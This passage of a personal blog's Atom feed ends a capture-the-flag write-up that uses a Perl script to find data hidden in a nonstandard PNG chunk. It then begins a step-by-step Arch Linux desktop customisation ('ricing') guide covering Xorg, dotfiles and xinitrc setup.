z-perl&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-storage z-type z-variable z-perl&quot;&gt;my&lt;&#x2F;span&gt; &lt;span class=&quot;z-punctuation z-section z-group z-begin z-perl&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;data&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-sequence z-perl&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;chunkSize&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-sequence z-perl&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;chunkType&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-perl&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-perl&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-meta z-comment z-perl&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-perl&quot;&gt;#&lt;&#x2F;span&gt; png file signature, the first 8 bytes
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-perl&quot;&gt;&lt;span class=&quot;z-support z-function z-perl&quot;&gt;read&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;in&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-sequence z-perl&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;data&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-sequence z-perl&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-perl&quot;&gt;8&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-perl&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-meta z-comment z-perl&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-perl&quot;&gt;#&lt;&#x2F;span&gt; we check if the signature is valid
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-die z-perl&quot;&gt;die&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-perl&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-perl&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;[ERR] Weird PNG!&lt;span class=&quot;z-punctuation z-definition z-string z-end z-perl&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-conditional z-unless z-perl&quot;&gt;unless&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;data&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-logical z-perl&quot;&gt;eq&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-perl&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-perl&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape z-perl&quot;&gt;\x&lt;&#x2F;span&gt;89&lt;span class=&quot;z-constant z-character z-escape z-perl&quot;&gt;\x&lt;&#x2F;span&gt;50&lt;span class=&quot;z-constant z-character z-escape z-perl&quot;&gt;\x&lt;&#x2F;span&gt;4e&lt;span class=&quot;z-constant z-character z-escape z-perl&quot;&gt;\x&lt;&#x2F;span&gt;47&lt;span class=&quot;z-constant z-character z-escape z-perl&quot;&gt;\x&lt;&#x2F;span&gt;0d&lt;span class=&quot;z-constant z-character z-escape z-perl&quot;&gt;\x&lt;&#x2F;span&gt;0a&lt;span class=&quot;z-constant z-character z-escape z-perl&quot;&gt;\x&lt;&#x2F;span&gt;1a&lt;span class=&quot;z-constant z-character z-escape z-perl&quot;&gt;\x&lt;&#x2F;span&gt;0a&lt;span class=&quot;z-punctuation z-definition z-string z-end z-perl&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-perl&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-meta z-comment z-perl&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-perl&quot;&gt;#&lt;&#x2F;span&gt; we then read everything chunk by chunk, and print the type
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-keyword z-control z-loop z-while z-perl&quot;&gt;while&lt;&#x2F;span&gt; &lt;span class=&quot;z-punctuation z-section z-group z-begin z-perl&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-perl&quot;&gt;&lt;span class=&quot;z-support z-function z-perl&quot;&gt;read&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;in&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-sequence z-perl&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;data&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-sequence z-perl&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-perl&quot;&gt;8&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-perl&quot;&gt;)&lt;&#x2F;span&gt; &lt;span class=&quot;z-punctuation z-section z-block z-begin z-perl&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;    &lt;span class=&quot;z-meta z-comment z-perl&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-perl&quot;&gt;#&lt;&#x2F;span&gt; we extract the chunk size and type
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;    &lt;span class=&quot;z-meta z-comment z-perl&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-perl&quot;&gt;#&lt;&#x2F;span&gt; unpack &amp;#39;N&amp;#39; = unsigned long network order, &amp;#39;a&amp;#39; = string
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;    &lt;span class=&quot;z-punctuation z-section z-group z-begin z-perl&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;chunkSize&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-sequence z-perl&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;chunkType&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-perl&quot;&gt;)&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-perl&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-perl&quot;&gt;&lt;span class=&quot;z-support z-function z-perl&quot;&gt;unpack&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-perl&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-perl&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;Na4&lt;span class=&quot;z-punctuation z-definition z-string z-end z-perl&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-sequence z-perl&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;data&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-perl&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;    &lt;span class=&quot;z-meta z-comment z-perl&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-perl&quot;&gt;#&lt;&#x2F;span&gt; we print the type
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;    &lt;span class=&quot;z-meta z-function-call z-perl&quot;&gt;&lt;span class=&quot;z-support z-function z-perl&quot;&gt;say&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-perl&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-perl&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;Chunk type: &lt;span class=&quot;z-punctuation z-definition z-string z-end z-perl&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-sequence z-perl&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;chunkType&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-perl&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;    &lt;span class=&quot;z-meta z-comment z-perl&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-perl&quot;&gt;#&lt;&#x2F;span&gt; we skip the data (using the length value) and the crc of each chunk (4 bytes)
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;    &lt;span class=&quot;z-meta z-function-call z-perl&quot;&gt;&lt;span class=&quot;z-support z-function z-perl&quot;&gt;seek&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;in&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-sequence z-perl&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;chunkSize&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-perl&quot;&gt;+&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-perl&quot;&gt;4&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-sequence z-perl&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-perl&quot;&gt;1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-perl&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-perl&quot;&gt;}&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Running that code on our file yields:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Chunk type: IHDR
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Chunk type: inSa
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Chunk type: iCCP
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Chunk type: IDAT
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Chunk type: IDAT
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Chunk type: IDAT
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;... (more IDATs)
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Chunk type: IEND
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That “inSa” chunk looks like the perfect hiding place! The first two letters are in lowercase, which means that the chunk isn’t necessary to display the image, and that it isn’t part of the PNG specification. You’ll find more info on the naming conventions &lt;a href=&quot;http:&#x2F;&#x2F;www.libpng.org&#x2F;pub&#x2F;png&#x2F;spec&#x2F;1.2&#x2F;PNG-Structure.html#Chunk-naming-conventions&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;To extract that chunk, take a look at the &lt;strong&gt;decoder.pl&lt;&#x2F;strong&gt; in the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;HugoDelval&#x2F;inshack-2017&#x2F;&quot;&gt;official repo&lt;&#x2F;a&gt;! You’ll also find the &lt;strong&gt;encoder.pl&lt;&#x2F;strong&gt; that inserts a given payload as an inSa chunk, with the proper CRC value computed and the correct length.&lt;&#x2F;p&gt;
&lt;p&gt;In this case, the payload was a binary file. An easy way to find out its exact type is running the &lt;code&gt;file&lt;&#x2F;code&gt; command: here, it was a JPG with the flag written in it. Also, I’ve checked, and all major image hosting platforms don’t check the chunks in the PNGs you upload, so the payload remains! You now have a cool furtive way to communicate with your friends if you guys are masochists.&lt;&#x2F;p&gt;
&lt;p&gt;Don’t hesitate to send me your questions and feedback, see you around!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Introduction to the world of ricing</title>
        <published>2016-12-20T00:00:00+00:00</published>
        <updated>2016-12-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Yassine Zouggari
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://zoug.fr/introduction-to-ricing/"/>
        <id>https://zoug.fr/introduction-to-ricing/</id>
        
        <content type="html" xml:base="https://zoug.fr/introduction-to-ricing/">&lt;p&gt;Generally Linux users like to configure their setup to feel and look like they want it to, and you won’t spend long in the community before stumbling into &lt;strong&gt;ricing&lt;&#x2F;strong&gt;, i.e. customizing what your distribution looks like. You’ll find plenty of examples in places like &lt;a href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;unixporn&quot;&gt;r&#x2F;unixporn&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;What I’ll attempt to do here is reproduce from scratch my setup, and explain the configuration of everything I use, step-by-step. We’ll start with a standard Arch Linux install you obtain after following the &lt;a href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Installation_guide&quot;&gt;installation guide&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;If you’re wondering if it’s worth the trouble, this is the end result:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;introduction-to-ricing&#x2F;end-result.webp&quot; alt=&quot;End result&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You can use any distribution you like but if you want to follow along, grab an ISO &lt;a href=&quot;https:&#x2F;&#x2F;www.archlinux.org&#x2F;download&#x2F;&quot;&gt;here&lt;&#x2F;a&gt; and follow the installation guide then come back. I’ll wait.&lt;&#x2F;p&gt;
&lt;p&gt;All done? Buckle up, you’re in for a long ride!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;introduction-to-ricing&#x2F;tty-prompt-new-user.webp&quot; alt=&quot;TTY prompt of our new user on a fresh Arch install&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;before-getting-started&quot;&gt;Before getting started&lt;&#x2F;h2&gt;
&lt;p&gt;We still have a couple of things to do before getting started. First, create a non-privileged user as shown &lt;a href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Users_and_groups#User_management&quot;&gt;here&lt;&#x2F;a&gt;, then install and configure sudo as shown &lt;a href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Sudo&quot;&gt;here&lt;&#x2F;a&gt;. You should probably also follow the &lt;a href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;General_recommendations&quot;&gt;general recommandations&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Quick note: throughout this article, the &lt;code&gt;#&lt;&#x2F;code&gt; symbol designs a priviliged shell (you can of course use sudo instead) and the &lt;code&gt;$&lt;&#x2F;code&gt; symbol is for a regular one.&lt;&#x2F;p&gt;
&lt;p&gt;We’ll need to build Polybar from source at some point, so you might as well install the &lt;em&gt;base-devel&lt;&#x2F;em&gt; group and &lt;em&gt;git&lt;&#x2F;em&gt; now:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;# pacman -S base-devel git
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Those packages will also fix problems you would have had otherwise (with your Xresources if you use &lt;em&gt;#define&lt;&#x2F;em&gt;, for example). Now that you have a regular user to work with, you can copy my configuration files from &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yzoug&#x2F;dotfiles&quot;&gt;GitHub&lt;&#x2F;a&gt; to your home directory:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;$ git clone https:&#x2F;&#x2F;github.com&#x2F;yzoug&#x2F;dotfiles.git
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can now copy and modify my configuration files from the yzoug-dotfiles folder to suit your needs. In the following sections of this article, I’ll detail many of those files, I hence recommand you read a particular section, then read my correspondant configuration file and modify it, and finally copying that file to its proper location. You could also use links like I do in the &lt;em&gt;setup.sh&lt;&#x2F;em&gt; script.&lt;&#x2F;p&gt;
&lt;p&gt;Since we’ll also rely a lot on scripts, you’ll also have to create a folder where you’ll put them all, and add that folder to your PATH environmental variable, so that they’re easily accessible by you and your programs. If you choose to put your scripts in ~&#x2F;bin, edit &#x2F;etc&#x2F;profile and add “:&#x2F;home&#x2F;USER&#x2F;bin” at the end of the value of the PATH variable. Now if you have an executable file in your ~&#x2F;bin folder, you can launch it from the terminal directly without having to use its exact location. Another variable we should define is $XDG_CONFIG_HOME, since software like bspwm and sxhkd use it to find&#x2F;store their configurations. So this is what your &#x2F;etc&#x2F;profile now looks like:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;PATH=&amp;quot;previous&#x2F;path&#x2F;here:&#x2F;home&#x2F;USER&#x2F;bin&amp;quot;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;export PATH
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;XDG_CONFIG_HOME=&amp;quot;&#x2F;home&#x2F;USER&#x2F;.config&amp;quot;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;export XDG_CONFIG_HOME
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xorg&quot;&gt;Xorg&lt;&#x2F;h2&gt;
&lt;p&gt;The very first thing we’ll need is Xorg, by far the most popular display server on Linux. Xorg will handle the mouse and keyboard, and is the basic container for GUI applications, so yeah, pretty big deal.&lt;&#x2F;p&gt;
&lt;p&gt;However, Xorg alone isn’t enough: we’ll need a window manager at least, or a desktop environment. While a window manager only draws your windows and position them on your screen, so the bare minimum for running GUIs, a desktop environment like &lt;a href=&quot;https:&#x2F;&#x2F;www.gnome.org&#x2F;gnome-3&#x2F;&quot;&gt;GNOME&lt;&#x2F;a&gt; or &lt;a href=&quot;https:&#x2F;&#x2F;www.kde.org&#x2F;&quot;&gt;KDE&lt;&#x2F;a&gt; contains a window manager, software (usually terminal emulator, file manager, music player, etc) and looks good out of the box.&lt;&#x2F;p&gt;
&lt;p&gt;But let’s get back to Xorg. We’ll first need to install those two packages:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;# pacman -S xorg-server xorg-xinit
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;xorg-server contains the server itself, and xorg-xinit allows us to use &lt;code&gt;xinit&lt;&#x2F;code&gt; (or its front-end &lt;code&gt;startx&lt;&#x2F;code&gt;) to easily launch Xorg, without having to set up a display manager. We’ll configure xinit to launch our window manager and a number of scripts, and this is all done in the &lt;em&gt;~&#x2F;.xinitrc&lt;&#x2F;em&gt; shell script. Copy the sample xinitrc to your home directory:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;# cp &#x2F;etc&#x2F;X11&#x2F;xinit&#x2F;xinitrc ~&#x2F;.xinitrc
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can safely remove almost everything in that file since we don’t want to start all those xterms and won’t use Xmodmap. We’ll merge our ~&#x2F;.Xresources file when we’ll have it configured (we’ll come back to that in a moment). So for now, just make sure to keep this block since it sources some useful scripts:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh z-code&quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-keyword z-control z-conditional z-if z-shell&quot;&gt;if&lt;&#x2F;span&gt; &lt;span class=&quot;z-support z-function z-test z-begin z-shell&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; &lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt;-&lt;&#x2F;span&gt;d&lt;&#x2F;span&gt; &#x2F;etc&#x2F;X11&#x2F;xinit&#x2F;xinitrc.d &lt;span class=&quot;z-support z-function z-test z-end z-shell&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-logical z-continue z-shell&quot;&gt;;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-conditional z-then z-shell&quot;&gt;then&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;    &lt;span class=&quot;z-keyword z-control z-loop z-for z-shell&quot;&gt;for&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-for z-shell&quot;&gt; f &lt;span class=&quot;z-keyword z-control z-in z-shell&quot;&gt;in&lt;&#x2F;span&gt; &#x2F;etc&#x2F;X11&#x2F;xinit&#x2F;xinitrc.d&#x2F;&lt;span class=&quot;z-keyword z-operator z-regexp z-quantifier z-shell&quot;&gt;?&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-regexp z-quantifier z-shell&quot;&gt;*&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-logical z-continue z-shell&quot;&gt;;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-loop z-do z-shell&quot;&gt;do&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;        &lt;span class=&quot;z-support z-function z-test z-begin z-shell&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; &lt;span class=&quot;z-variable z-parameter z-option z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-parameter z-shell&quot;&gt;-&lt;&#x2F;span&gt;x&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;f&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-support z-function z-test z-end z-shell&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-logical z-and z-shell&quot;&gt;&amp;amp;&amp;amp;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-support z-function z-dot z-shell&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-expansion z-parameter z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-shell&quot;&gt;f&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;    &lt;span class=&quot;z-keyword z-control z-loop z-end z-shell&quot;&gt;done&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;    &lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-support z-function z-unset z-shell&quot;&gt;unset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; f&lt;&#x2F;span&gt;
